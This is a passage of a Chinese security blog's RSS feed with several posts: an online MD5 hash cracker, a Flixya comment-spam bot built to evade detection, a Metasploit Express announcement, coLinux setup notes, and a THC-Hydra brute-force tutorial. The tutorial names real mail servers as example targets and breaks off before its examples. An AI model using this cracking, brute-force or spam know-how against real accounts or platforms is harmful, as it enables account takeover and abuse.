		<description><![CDATA[16&#38;&#38;32 Bytes Md5 Hash Online Crack by c4rp3nt3r#gmail.com 16&#38;&#38;32 Bytes Md5 Hash Online Crack ------------------------------------------ 为什么做这么个东西 因为看到什么乱七八糟的站都有个md5查询的功能，小站作为一个乱七八糟的站应该赶赶时髦。 其实这个玩意很多都是用了别的网站的接口，本来写了几个perl的代码自己用的。 做这个无非就是把用perl写的用php再写一次。 本来很快就写好了但是为了能够统计到一些信息又用到了数据库。 所以用了一个框架重新写了一遍，说到底也就三两个函数而已。有时间再重新写一遍。 后来又加入了破解16位md5 hash的功能，但是字典不是很大。 空间的处理能力有限，故16位hash的解密能力有限，但破解速度快了不少。 这个在线破解md5 hash的程序，有个特点: 界面非常简介,个人非常喜欢。 支持16位hash破解，而且添加了收集整理的字典，数据量客观。 用的人越多，查询的次数越多，破解的速度就越快，破解16位md5 hash的能力也越大。 欢迎大家测试。 当然如果哪位朋友有好的字典，大小在1G以内，欢迎发到我的email里。在此先行谢过！ 将要加入的东西 统计还没有破解的密码然后加入后台破解 可能加入别的网站的批量查询功能 Bugs： xss vulnerability sql injection vulnerability 2010-09-27 -------------------------------------------- 修补了 xss vulnerability sql injection vulnerability 2010-09-27 ------------------------------------------- 添加16&#38;&#38;32 Bytes Social Engineering [...]]]></description>
			<content:encoded><![CDATA[<pre>16&amp;&amp;32 Bytes Md5 Hash Online Crack
by c4rp3nt3r#gmail.com
<a href="http://www.0x50sec.org/md5/">
</a>
<h1><a href="http://www.0x50sec.org/md5/">16&amp;&amp;32 Bytes Md5 Hash Online Crack</a></h1>

------------------------------------------
为什么做这么个东西
因为看到什么乱七八糟的站都有个md5查询的功能，小站作为一个乱七八糟的站应该赶赶时髦。
其实这个玩意很多都是用了别的网站的接口，本来写了几个perl的代码自己用的。
做这个无非就是把用perl写的用php再写一次。
本来很快就写好了但是为了能够统计到一些信息又用到了数据库。
所以用了一个框架重新写了一遍，说到底也就三两个函数而已。有时间再重新写一遍。
后来又加入了破解16位md5 hash的功能，但是字典不是很大。
空间的处理能力有限，故16位hash的解密能力有限，但破解速度快了不少。

这个在线破解md5 hash的程序，有个特点:
界面非常简介,个人非常喜欢。
支持16位hash破解，而且添加了收集整理的字典，数据量客观。
用的人越多，查询的次数越多，破解的速度就越快，破解16位md5 hash的能力也越大。
欢迎大家测试。
当然如果哪位朋友有好的字典，大小在1G以内，欢迎发到我的email里。在此先行谢过！

<span id="more-941"></span>将要加入的东西
统计还没有破解的密码然后加入后台破解
可能加入别的网站的批量查询功能
Bugs：
xss vulnerability
sql injection vulnerability
2010-09-27
--------------------------------------------
修补了
xss vulnerability
sql injection vulnerability
2010-09-27
-------------------------------------------
添加16&amp;&amp;32 Bytes Social Engineering Md5 Hash Crack
用法
我们要破解西门大官人的密码
hash为b5ecd1e4ce56bdcb08f5a6b036ca79c1		md5('xmqlovepjl')

POST[hash]：
b5ecd1e4ce56bdcb08f5a6b036ca79c1

POST[pwdlst]	文本框中每个一行
xmq
ximenqing
pjl
pjlpanjinlian
wdl
wudalang
ws
wusong
kill
love
fuck
那么会得到很多有意思的结果
比如
wslovepjl
pjlfuckws
wdlkillxmq
.
.
.
运行结果
Result:Found! :)
md5('xmqlovepjl')=b5ecd1e4ce56bdcb08f5a6b036ca79c1
2010-09-28
-------------------------------------------
更改了一下web界面。
bug:
cmd execute vulnerability
已修补

2010-10-08
-------------------------------------------</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/16-32-bytes-md5-hash-online-crack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>perl写了一个Super Flixya，Flixya超级助手</title>
		<link>http://www.0x50sec.org/perl%e5%86%99%e4%ba%86%e4%b8%80%e4%b8%aasuper-flixya-flixya%e8%b6%85%e7%ba%a7%e5%8a%a9%e6%89%8b/</link>
		<comments>http://www.0x50sec.org/perl%e5%86%99%e4%ba%86%e4%b8%80%e4%b8%aasuper-flixya-flixya%e8%b6%85%e7%ba%a7%e5%8a%a9%e6%89%8b/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 13:06:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[flixya]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=845</guid>
		<description><![CDATA[最近用perl写了一个Super Flixya，Flixya超级助手。 ┌──┐                        ┌─┐┌┐┌┐ │──┤┌┬┐┌─┐┌─┐┌┬┐│─┤││├┤┌┬┐┌┬┐┌─┐ ├──││││││││┴┤│┌┘│┌┘││││├  ┤││││─│ └──┘└─┘│┌┘└─┘└┘  └┘  └┘└┘└┴┘├─│└┴┘ └┘ www.0x50sec.org flixya.com是一个分享视频、图片、文章通过adsense赚美元的一个国外平台。人气还可以，以前玩过后来不玩了，最近又突然想写这么个工具。最后用perl写完了，测试了下每天至少1.5$。觉得实现起来也很简单，网上应该早就有这样的工具。一搜还真有，叫什么flixya超级助手。一看能实现的功能也都实现了。也挺不错。不管怎样通过写这个工具自己那点皮毛的东西也稍微有了点长进。 网上的Flixya超级助手的功能有： 1.自动首页留言，在用户空间首页的评论区留言。 2.自动评论视频，寻找用户上传的视频，并在评论区留言。 3.自动评论相册，寻找用户上传的图片，并在评论区留言。 4.自动评论文章，寻找用户发表的文章，并在评论区留言。 5.自动顶(Hit)视频，寻找用户上传的视频，自动点击(Hit)。 6.自动顶(Hit)图片，寻找用户上传的图片，自动点击(Hit)。 7.自动顶(Hit)文章，寻找用户上传的文章，自动点击(Hit)。 8.自动加用户为好友。 9.自动给用户发送消息。 10.黑名单功能，自动跳过不需要访问的用户空间。 11.智能识别功能，24小时内不会重复给同一个用户发送消息，避免用户误认为你是在发送垃圾消息！ 12.自动循环挂机功能，设定在指定的时间内进行无人值守循环挂机操作。 13.支持多用户批量操作，此功能适合你有多个Flixya账户的人。 首页智能评论：Flixya网站规定每个账户每天的首页评论留言数为100，改选项会自动判断您的首页留言功能是否可用，如果您的首页留言数超过100条，就会自动跳过首页留言操作，提高效率！ 跳过评论用户：将不需要进行操作的用户加入到列表中，当发现该用户在线后就会自动跳过！ －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 以上功能基本上都实现了。 12.条功能没用perl实现，linux下可以用crontab实现，Windows下可以自己写个定时运行的工具。 13.条功能另写了一个文件，但是觉得用处不是很大，因为经过一番评论后自己的photo很容易就上首页popular photo吸引自然流量。 增加的功能有哪些？ 1.发送内容的留言、消息、评论内容都随机，尽可能的让工具的留言、消息、评论看起来不像工具。 2.过滤掉某些用户名中含有qq+数字，&#8217;zhang&#8217;,'liu&#8217;,'yang&#8217;,'xiao&#8217;等等明显中国人的帐号，尽可能的发挥100个首页留言、以及视频、图片、博客100个评论限制的功能。 3.只对当前在线的用户评论，尽可能的发挥100个首页留言限制的功能。 4.对某一个video,photo,blog是否评论和hit都是随机的，防止被flixya.com发现。 5.hit间隔的时间有几秒是随机的，防止被flixya.com发现。 6.防止重复评论功能，检查某视频、图片、博客是否已经评论过了，如果是则跳过。 7.过滤垃圾用户功能。 8.由于首页留言、以及视频、图片、博客都有100个评论限制，所以设置了三个停止标志如果发现达到最大数目自动停止，最大可能的发挥帐号的评论作用。 哪里可以下载？ 暂不提供下载，发布的时候会放到www.0x50sec.org .]]></description>
			<content:encoded><![CDATA[<p>最近用perl写了一个Super Flixya，Flixya超级助手。<br />
┌──┐                        ┌─┐┌┐┌┐<br />
│──┤┌┬┐┌─┐┌─┐┌┬┐│─┤││├┤┌┬┐┌┬┐┌─┐<br />
├──││││││││┴┤│┌┘│┌┘││││├  ┤││││─│<br />
└──┘└─┘│┌┘└─┘└┘  └┘  └┘└┘└┴┘├─│└┴┘<br />
└┘ <a href="http://www.0x50sec.org">www.0x50sec.org</a></p>
<p>flixya.com是一个分享视频、图片、文章通过adsense赚美元的一个国外平台。人气还可以，以前玩过后来不玩了，最近又突然想写这么个工具。最后用perl写完了，测试了下每天至少1.5$。觉得实现起来也很简单，网上应该早就有这样的工具。一搜还真有，叫什么flixya超级助手。一看能实现的功能也都实现了。也挺不错。不管怎样通过写这个工具自己那点皮毛的东西也稍微有了点长进。</p>
<p>网上的Flixya超级助手的功能有：<br />
1.自动首页留言，在用户空间首页的评论区留言。<br />
2.自动评论视频，寻找用户上传的视频，并在评论区留言。<br />
3.自动评论相册，寻找用户上传的图片，并在评论区留言。<br />
4.自动评论文章，寻找用户发表的文章，并在评论区留言。<br />
5.自动顶(Hit)视频，寻找用户上传的视频，自动点击(Hit)。<br />
6.自动顶(Hit)图片，寻找用户上传的图片，自动点击(Hit)。<br />
7.自动顶(Hit)文章，寻找用户上传的文章，自动点击(Hit)。<br />
8.自动加用户为好友。<br />
9.自动给用户发送消息。<br />
10.黑名单功能，自动跳过不需要访问的用户空间。<br />
11.智能识别功能，24小时内不会重复给同一个用户发送消息，避免用户误认为你是在发送垃圾消息！<br />
12.自动循环挂机功能，设定在指定的时间内进行无人值守循环挂机操作。<br />
13.支持多用户批量操作，此功能适合你有多个Flixya账户的人。<br />
<span id="more-845"></span><br />
首页智能评论：Flixya网站规定每个账户每天的首页评论留言数为100，改选项会自动判断您的首页留言功能是否可用，如果您的首页留言数超过100条，就会自动跳过首页留言操作，提高效率！<br />
跳过评论用户：将不需要进行操作的用户加入到列表中，当发现该用户在线后就会自动跳过！</p>
<p>－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br />
以上功能基本上都实现了。<br />
12.条功能没用perl实现，linux下可以用crontab实现，Windows下可以自己写个定时运行的工具。<br />
13.条功能另写了一个文件，但是觉得用处不是很大，因为经过一番评论后自己的photo很容易就上首页popular photo吸引自然流量。</p>
<p>增加的功能有哪些？<br />
1.发送内容的留言、消息、评论内容都随机，尽可能的让工具的留言、消息、评论看起来不像工具。<br />
2.过滤掉某些用户名中含有qq+数字，&#8217;zhang&#8217;,'liu&#8217;,'yang&#8217;,'xiao&#8217;等等明显中国人的帐号，尽可能的发挥100个首页留言、以及视频、图片、博客100个评论限制的功能。<br />
3.只对当前在线的用户评论，尽可能的发挥100个首页留言限制的功能。<br />
4.对某一个video,photo,blog是否评论和hit都是随机的，防止被flixya.com发现。<br />
5.hit间隔的时间有几秒是随机的，防止被flixya.com发现。<br />
6.防止重复评论功能，检查某视频、图片、博客是否已经评论过了，如果是则跳过。<br />
7.过滤垃圾用户功能。<br />
8.由于首页留言、以及视频、图片、博客都有100个评论限制，所以设置了三个停止标志如果发现达到最大数目自动停止，最大可能的发挥帐号的评论作用。<br />
哪里可以下载？</p>
<p>暂不提供下载，发布的时候会放到<a href="../">www.0x50sec.org</a> .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/perl%e5%86%99%e4%ba%86%e4%b8%80%e4%b8%aasuper-flixya-flixya%e8%b6%85%e7%ba%a7%e5%8a%a9%e6%89%8b/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Metasploit Express</title>
		<link>http://www.0x50sec.org/metasploit-express/</link>
		<comments>http://www.0x50sec.org/metasploit-express/#comments</comments>
		<pubDate>Mon, 26 Apr 2010 11:55:32 +0000</pubDate>
		<dc:creator>xion</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[Express]]></category>
		<category><![CDATA[Metasploit]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=842</guid>
		<description><![CDATA[Metasploit出了一个新的东西，叫Metasploit Express。 以下为官方内容！ Metasploit Express is an affordable, easy-to-use penetration testing solution that provides full network penetration testing capabilities, backed by the world’s largest, fully tested and integrated public database of exploits. Built on feedback from the Metasploit user community, key security experts, and Rapid7 customers, Metasploit Express enables organizations to take the next step [...]]]></description>
			<content:encoded><![CDATA[<p>Metasploit出了一个新的东西，叫Metasploit Express。</p>
<p>以下为官方内容！</p>
<p>Metasploit Express is an affordable, easy-to-use penetration testing solution that provides full network penetration testing capabilities, backed by the world’s largest, fully tested and integrated public database of exploits. Built on feedback from the Metasploit user community, key security experts, and Rapid7 customers, Metasploit Express enables organizations to take the next step forward in security.<span id="more-842"></span></p>
<p>In addition to the capabilities offered by the open source framework, Metasploit Express goes above and beyond by delivering a full graphical user interface, automated exploitation capabilities, complete user action audit logs, combined with an advanced penetration testing workflow. Metasploit Express is fully supported by Rapid7 security and support specialists in addition to the large and growing Metasploit community.</p>
<p><img src="http://www.rapid7.com/img/products/metasploit-express-screenshot.png" alt="Metasploit Express User Interface Screenshot" /></p>
<p>Key characteristics:</p>
<ul>
<li><strong>Complete &#8211; </strong>full network penetration testing capabilities that not only automated exploits, but also detects and exploits common weaknesses such as simple passwords and insecure configurations</li>
<li><strong>Easy to use &#8211; </strong>simple to use GUI interface supported by end-to-end workflow and reports</li>
<li><strong>Safe &#8211; </strong>test with confidence with exploit reliability rankings and the ability to throttle speed and concurrency as well as the option to only target safe exploits for risk prioritization</li>
<li><strong>Integrated &#8211; </strong>ships with pre-built integration with all versions of the market leading vulnerability management product Rapid7 NeXpose and other solutions</li>
<li><strong>Supported &#8211; </strong>backed by Rapid7’s customer support staff with dedicated SLAs for both Metasploit Express and supported components in the Metasploit Framework</li>
<li><strong>Affordable &#8211; </strong>available at a price point that a broad range of security professionals in large corporations, consulting organizations, and small business can leverage</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/metasploit-express/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>coLinux 0.7.1 配置</title>
		<link>http://www.0x50sec.org/colinux-0-7-1-%e9%85%8d%e7%bd%ae/</link>
		<comments>http://www.0x50sec.org/colinux-0-7-1-%e9%85%8d%e7%bd%ae/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 10:40:28 +0000</pubDate>
		<dc:creator>xion</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[coLinux]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=829</guid>
		<description><![CDATA[coLinux可以在Windows下运行，看上去像虚拟机一样。但实际上，它在Linux内核层次上与Windows系统相结合，因此运行速度相当快，和在真正硬件上运行没有多大的区别。而且，coLinux还引入cofs的概念，使用它可以在Linux下mount本地Windows的目录，以实现两个系统的数据交换。 我利用Debian Etch定制了一个系统映像。 安装说明： 1、下载coLinux-0.7.1-20070326.exe，安装。 2、下载root.rar,swap.rar和colinux.cfg，放到D:\。解压root.rar和swap.rar，生成root.fs和swap.fs。 3、用以下命令可以启动映像中的Linux系统： colinux-daemon @D:\colinux.cfg coLinux使用技巧： 1、把coLinux作为服务启动。 可以进入coLinux的安装目录，然后用以下的命令把coLinux安装为服务： colinux-daemon –install-service colinux @d:\colinux.cfg 可以在服务管理器把colinux服务社为自动，那么每次启动Windows时自动启动colinux，也可以使用以下命令手动启动: net start colinux 2、网络设置 在coLinux内访问网络有三种方式： 1) slirp 这是最简单的方式，coLinux作为一个应用程序，直接使用host的网络。而且，也可以把host上的某些端口映射到colinux上。这种方式的缺点是比较慢，而且某些应用无法实现。例子： eth0=slirp,,tcp:2222:22/tcp:8080:80 2)tuntap 这是通过一个虚拟的网络设备和coLinux通信。例子： eth0=tuntap coLinux内需要访问外部网络的时候，可以在真正的网卡上启动Internet Connection Sharing, 也可以建立Bridge Connection，把真正的网卡和虚拟的网卡连接起来。 3)pcap-bridge 这是利用WinPcap来实现的桥连接。首先要安装WinPCap，然后选择某一本地网络设备进行连接，例子： eth0=pcap-bridge,Local Area Connection “Local Area Connection”是进行连接的网络设备的名字。 3、cofs 在配置文件里增加这样一行： cofs0=D:\ 在coLinux内可以使用以下的命令 mount -t cofs cofs0 /mnt/d 这样，coLinux里/mnt/d的内容就是host里的D:\。 可以在fstab里增加以下的一项，使得每次启动coLinux时自动装载/mnt/d cofs0 /mnt/d [...]]]></description>
			<content:encoded><![CDATA[<p>coLinux可以在Windows下运行，看上去像虚拟机一样。但实际上，它在Linux内核层次上与Windows系统相结合，因此运行速度相当快，和在真正硬件上运行没有多大的区别。而且，coLinux还引入cofs的概念，使用它可以在Linux下mount本地Windows的目录，以实现两个系统的数据交换。</p>
<p>我利用Debian Etch定制了一个系统映像。</p>
<p>安装说明：</p>
<p>1、下载coLinux-0.7.1-20070326.exe，安装。<br />
2、下载root.rar,swap.rar和colinux.cfg，放到D:\。解压root.rar和swap.rar，生成root.fs和swap.fs。<br />
3、用以下命令可以启动映像中的Linux系统：<br />
colinux-daemon @D:\colinux.cfg<span id="more-829"></span></p>
<p>coLinux使用技巧：<br />
1、把coLinux作为服务启动。<br />
可以进入coLinux的安装目录，然后用以下的命令把coLinux安装为服务：<br />
colinux-daemon –install-service colinux @d:\colinux.cfg</p>
<p>可以在服务管理器把colinux服务社为自动，那么每次启动Windows时自动启动colinux，也可以使用以下命令手动启动:<br />
net start colinux</p>
<p>2、网络设置<br />
在coLinux内访问网络有三种方式：</p>
<p>1) slirp<br />
这是最简单的方式，coLinux作为一个应用程序，直接使用host的网络。而且，也可以把host上的某些端口映射到colinux上。这种方式的缺点是比较慢，而且某些应用无法实现。例子：</p>
<p>eth0=slirp,,tcp:2222:22/tcp:8080:80</p>
<p>2)tuntap<br />
这是通过一个虚拟的网络设备和coLinux通信。例子：</p>
<p>eth0=tuntap</p>
<p>coLinux内需要访问外部网络的时候，可以在真正的网卡上启动Internet Connection Sharing, 也可以建立Bridge Connection，把真正的网卡和虚拟的网卡连接起来。</p>
<p>3)pcap-bridge<br />
这是利用WinPcap来实现的桥连接。首先要安装WinPCap，然后选择某一本地网络设备进行连接，例子：</p>
<p>eth0=pcap-bridge,Local Area Connection</p>
<p>“Local Area Connection”是进行连接的网络设备的名字。</p>
<p>3、cofs<br />
在配置文件里增加这样一行：</p>
<p>cofs0=D:\</p>
<p>在coLinux内可以使用以下的命令</p>
<p>mount -t cofs cofs0 /mnt/d</p>
<p>这样，coLinux里/mnt/d的内容就是host里的D:\。</p>
<p>可以在fstab里增加以下的一项，使得每次启动coLinux时自动装载/mnt/d</p>
<p>cofs0 /mnt/d cofs defaults 0 0</p>
<p>4、利用ssh登陆coLinux系统。</p>
<p>首先，要建立一个普通用户，ssh是不能使用root来登陆的。</p>
<p>并且，coLinux里要使用静态的IP设置，而不是dhcp，网络配置的信息是在/etc/network/interface文件里。例子：</p>
<p>auto eth0<br />
iface eth0 inet static<br />
address 192.168.0.10<br />
gateway 192.168.0.1<br />
netmask 255.255.255.0<br />
network 192.168.0.0<br />
broadcase 192.168.0.255</p>
<p>然后，下载ssh客户端程序，在Windows下可以使用putty。利用putty可以登陆到coLinux系统中。</p>
<p>5、X-Window<br />
在coLinux里也可以运行X-Windows的程序，步骤如下：</p>
<p>1)安装shell:</p>
<p>apt-get install rxvt</p>
<p>当然，这里也可以使用xterm。不过rxvt要小一些。</p>
<p>2)安装X-Window服务器</p>
<p>这里的X-Window服务器是指host里运行的服务器，而不是Linux内的XFree86/X.org服务器。Windows下比较好用的X-Window服务器是XWin32。cygwin里也包含了X-Window服务器，不过我没有使用，不知道效果如何。</p>
<p>3)coLinux内使用静态的IP设置。在这里假设coLinux的IP是192.168.0.10，而tap虚拟网卡的IP是192.168.0.1</p>
<p>4)启动X-Window程序。<br />
可以在coLinux内使用以下命令启动rxvt:</p>
<p>rxvt -ls -display 192.168.0.1:0</p>
<p>如果使用XWin32，还可以建立一个session，在里面填入ssh登陆coLinux的用户，密码和启动命令。这样的话，启动session时就可以直接运行rxvt了。</p>
<p>在rxvt下可以运行其他的X-Window程序。</p>
<p>colinux没有虚拟显卡，实现不了X，但可以通过C/S模式实现。</p>
<p>但后来想了，如果colinux不装X-windows以及桌面，那怎么实现呢？</p>
<p>但是那个ROOT.FS就是装不上X、RXVT，郁闷之极。</p>
<p>重作了个ROOT.FS.咳，真辛苦啊！</p>
<p>按步骤操作（很漫长的，后来才加了个台湾的源才快些）：<br />
apt-get install xorg<br />
dpkg-reconfigure xserver-xorg<br />
apt-get install xfce4<br />
apt-get install vncserver<br />
vncserver :1 -geometry 1024×768 -depth 16</p>
<p>WINDOWS 里面装了个UltraVNC（UltraVNC.sf.org下的），然后连接<br />
debian的IP（192.168.0.2：1，1是刚才在DEBIAN 中设置的端口哦），<br />
天啊，居然成功了，出现了XFCE4的画面。</p>
<p>随后试了下SSH与PUTY的搭配，非常的好啊。字体窗口可以在PUTTY中设置。可以把COLINUX的运行设置成WINDOWS的服务的形式，这样COLINUX用起来就更爽了，连窗口就不要了。</p>
<p>CYGWIN 以及 x-win32还没有试呢。</p>
<p>接上，cygwin,x-win32都是在windows下实现X环境的。cygwin需要安装下载很多东西，配置繁琐；X-WIN32也需要安装重起，并且是商业软件。还有一个XMING需要WIN XP以上系统支持，我用的是2K，没有试用，谁用下说下怎么样。</p>
<p>相比较而言，还是直接在COLINUX制作的LINUX镜像中实现X环境，利用VNC，比较简单、实在。VNC的WIN客户端体积又小，可以免安装。更关键的是，LINUX镜像的X-WINDOWS能够实现在WINDOWS下和直接启动下两用；并且可以实现把这些东西都放在大容量U盘中或移动硬盘中，利用GRUB4DOS和COLINUX稍加配置即随时可实现两用的LINUX，免去硬盘分区安装LINUX的麻烦。</p>
<p>如不要X的话，还是用SSH和PUTTY比较好，或者COLINUX启动时加上“-t nt”在BASH下实现与WINDOWS复制粘贴。</p>
<p>colinux能在WINDOW下安装各种LINUX，它的WIKI介绍的挺详细的。支持各种分区、光驱、ISO镜像文件等,还有COFS及网络。</p>
<p>COLINUX比QEMU、VMWARE来安装LINUX占用的系统资源非常少。对于需要用LINUX又离不开WINDOWS的人来说，以及像我这样刚接触LINUX的人来说真是个不错的选择。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/colinux-0-7-1-%e9%85%8d%e7%bd%ae/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tutorial Thc-Hydra</title>
		<link>http://www.0x50sec.org/tutorial-thc-hydra/</link>
		<comments>http://www.0x50sec.org/tutorial-thc-hydra/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 02:29:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[暴力破解]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=768</guid>
		<description><![CDATA[来源:exploit-db.com hydra著名黑客组织thc的一款开源的暴力破解工具，其有windows和linux多个平台的版本，本文就是介绍hydra用法的教程。 _ _ _ _ &#124; &#124;_&#124; &#124;__ ___ &#124; &#124;__ _ _ __&#124; &#124;_ __ __ _ &#124; __&#124; &#8216;_ \ / __&#124;____&#124; &#8216;_ \&#124; &#124; &#124; &#124;/ _` &#124; &#8216;__/ _` &#124; &#124; &#124;_&#124; &#124; &#124; &#124; (_&#124;_____&#124; &#124; &#124; &#124; &#124;_&#124; &#124; (_&#124; &#124; &#124; &#124; (_&#124; &#124; \__&#124;_&#124; &#124;_&#124;\___&#124; &#124;_&#124; [...]]]></description>
			<content:encoded><![CDATA[<p>来源:exploit-db.com</p>
<p>hydra著名黑客组织thc的一款开源的暴力破解工具，其有windows和linux多个平台的版本，本文就是介绍hydra用法的教程。<br />
_   _               _               _<br />
| |_| |__   ___     | |__  _   _  __| |_ __ __ _<br />
| __| &#8216;_ \ / __|____| &#8216;_ \| | | |/ _` | &#8216;__/ _` |<br />
| |_| | | | (_|_____| | | | |_| | (_| | | | (_| |<br />
\__|_| |_|\___|    |_| |_|\__, |\__,_|_|  \__,_|<br />
|___/    TUTORIAL BASICO THC-HYDRA [PT-BR]<br />
___________________________________________________________________________________<br />
- Por : MDH3LL<br />
- Contato :    mdh3ll@gmail.com<br />
- Data 10/04/2010<br />
__________________________________________________________________________________</p>
<p>INDICE :<br />
___________________________________________________________________________________<br />
-0&#215;00 &#8211; Instalando THC-HYDRA no (Windows XP).<br />
-0&#215;01 &#8211; Executando.<br />
-0&#215;02 &#8211; Opções.<br />
-0&#215;03 &#8211; Exemplos{<br />
&#8211; Exemplo (1) FTP<br />
&#8211; Exemplo (2) http-head<br />
&#8211; Exemplo (3) http-post-form<br />
&#8211; Exemplo (4) POP3<br />
-0&#215;04 &#8211; Proxy.<br />
___________________________________________________________________________________</p>
<p>* THC-Hydra:Open Source/Multiplataforma/<br />
* Desenvolvido por uma organização Alemã chamada &#8220;The Hacker&#8217;s Choice&#8221;(THC).<br />
* O Programa pode ser adquirido gratuitamente no site oficial do projeto : http://freeworld.thc.org/thc-hydra/</p>
<p><span id="more-768"></span>Hydra usa um mecanismo de FORÇA BRUTA/BRUTE FORCE (ou busca exaustiva):</p>
<p>Este tipo de ataque consiste em fazer o programa trabalhar exaustivamente tentando combinações de<br />
senhas e nomes de usuários ate chegar ao seu objetivo obvio.</p>
<p>Protocolos suportados atualmente na versão 5.4:<br />
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,<br />
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,<br />
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable<br />
===================================================================================<br />
[0x00] Instalando THC-HYDRA no (Windows XP) :<br />
===================================================================================<br />
O Primeiro passo é fazer o download da V.Win32/Cywin do programa no site oficial,descompactar e rodar.</p>
<p>-&gt; Criar uma variável de ambiente em :<br />
painel de controle &gt; sistema &gt; aba avançado &gt; variáveis de ambiente e adicionando o caminho em path.<br />
exemplo: C:\hydra-5.4-win;</p>
<p>===================================================================================<br />
[0x01] Executando :<br />
===================================================================================<br />
Rode &#8216;hydra&#8217; no prompt de comandos para chamar o programa.</p>
<p>///////////////////////////////////////////////////////////////////////////////////<br />
C:\Documents and Settings\user\Desktop&gt;hydra<br />
Hydra v5.4 [http://www.thc.org] (c) 2006 by van Hauser / THC &lt;vh@thc.org&gt;</p>
<p>Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]<br />
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]<br />
server service [OPT]</p>
<p>Options:<br />
-R        restore a previous aborted/crashed session<br />
-S        connect via SSL<br />
-s PORT   if the service is on a different default port, define it here<br />
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE<br />
-p PASS  or -P FILE try password PASS, or load several passwords from FILE<br />
-e ns     additional checks, &#8220;n&#8221; for null password, &#8220;s&#8221; try login as pass<br />
-C FILE   colon seperated &#8220;login:pass&#8221; format, instead of -L/-P options<br />
-M FILE   server list for parallel attacks, one entry per line<br />
-o FILE   write found login/password pairs to FILE instead of stdout<br />
-f        exit after the first found login/password pair (per host if -M)<br />
-t TASKS  run TASKS number of connects in parallel (default: 16)<br />
-w TIME   defines the max wait time in seconds for responses (default: 30)<br />
-v / -V   verbose mode / show login+pass combination for each attempt<br />
server    the target server (use either this OR the -M option)<br />
service   the service to crack. Supported protocols: telnet ftp pop3[-ntlm]<br />
imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco<br />
cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5<br />
rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere<br />
teamspeak sip vmauthd<br />
OPT       some service modules need special input (see README!)</p>
<p>Use HYDRA_PROXY_HTTP/HYDRA_PROXY_CONNECT and HYDRA_PROXY_AUTH env for a proxy.<br />
Hydra is a tool to guess/crack valid login/password pairs &#8211; use allowed only<br />
for legal purposes! If used commercially, tool name, version and web address<br />
must be mentioned in the report. Find the newest version at http://www.thc.org<br />
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\</p>
<p>Podemos ver acima que quando executado exibe informações como versão,sintaxe de uso e<br />
as opções seguidas de comentários.</p>
<p>===================================================================================<br />
[0x02] Opções :<br />
===================================================================================</p>
<p>-R Restaura sessões abordadas/quebradas.<br />
-S Conexão segura usando SSL caso seja necessário.<br />
-s Especifica qual porta o hydra vai estabelecer a conexão.<br />
-l Nome|login da vitima.<br />
-L Carrega uma lista contendo nomes|logins de vitimas.(1 por linha)<br />
-p Especifica senha única.<br />
-P Carrega uma lista com senhas.(1 por linha)<br />
-e ns adcional &#8216;n&#8217; testa senha em branco || adicional &#8216;s&#8217; testa user como pass.<br />
-C Usado para carregar um arquivo contendo usuário:senha. formato usuário:senha equivale a -L/-P.<br />
-M Carrega lista de servidores alvos.(1 por linha)<br />
-o Salva as senhas encontradas dentro do arquivo que você especificar.<br />
-f Faz o programa parar de trabalhar quando a senha||usuário for encontrada[o].<br />
-t Limita o numero de solicitações por vez.(default: 16)<br />
-w Define o tempo máximo em segundos para esperar resposta do serv.(default: 30s)<br />
-v / -V Modo verbose do programa. &#8216;V&#8217; mostra todas tentativas.</p>
<p>Server: Servidor alvo.<br />
Exemplos:<br />
127.0.0.1<br />
localhost<br />
pop.gmail.com<br />
pop.mail.yahoo.com.br<br />
pop3.live.com</p>
<p>Service: Protocolo||Serviço que sera chamado|usado.<br />
Exemplos:<br />
pop3<br />
ftp<br />
smtp<br />
vnc<br />
imap<br />
http-head<br />
http-post-form</p>
<p>===================================================================================<br />
[0x03] Exemplos:<br />
===================================================================================<br />
Colocarei na pratica as opções já explicadas no índice [0x02] deste tutorial.</p>
<p>Exemplo (1) FTP<br />
===================================================================================<br />
Sintaxe:<br />
